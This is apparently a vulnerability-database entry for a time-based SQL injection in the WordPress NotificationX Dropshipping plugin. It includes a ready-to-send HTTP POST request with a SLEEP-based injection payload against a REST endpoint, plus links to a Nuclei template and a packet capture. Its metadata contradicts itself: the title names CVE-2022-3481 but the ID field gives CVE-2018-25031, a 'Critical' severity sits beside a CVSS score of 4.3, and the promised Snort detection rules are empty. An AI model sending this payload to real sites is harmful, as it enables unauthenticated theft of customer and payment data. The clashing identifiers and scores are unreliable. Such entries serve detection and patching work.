🔙 목록으로 돌아가기

CVE-2022-3481: NotificationX Dropshipping < 4.4 - SQL Injection

TitleNotificationX Dropshipping < 4.4 - SQL Injection
Authorritikchaddha
SeverityCritical
ImpactUnauthenticated attackers can exploit time-based SQL injection through the REST endpoint to extract sensitive WooCommerce data including customer information, order details, and payment records.
RemediationUpdate NotificationX Dropshipping plugin to version 4.4 or later that properly sanitizes and escapes parameters in REST endpoints.
CVSS Score4.3
EPSS Score0.61537
CVE IDCVE-2018-25031
CWE IDCWE-20
Fofa Querybody="/wp-content/plugins/woocommerce-dropshipping"
Tags cve cve2022 wordpress wp-plugin wp sqli woocommerce notificationx vkev vuln

🔍 Vulnerability Description

The plugin does not properly sanitise and escape a parameter before using it in a SQL statement via a REST endpoint available to unauthenticated users, leading to a SQL injection

🌐 HTTP Request

POST /wp-json/woo-aliexpress/v1/product-sku HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/118.0
Connection: close
Content-Length: 64
Content-Type: application/json
Accept-Encoding: gzip

{"sku":"a\" AND (SELECT 42 FROM (SELECT(SLEEP(7)))wlHd)-- pOeU"}

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-3481.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-3481.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A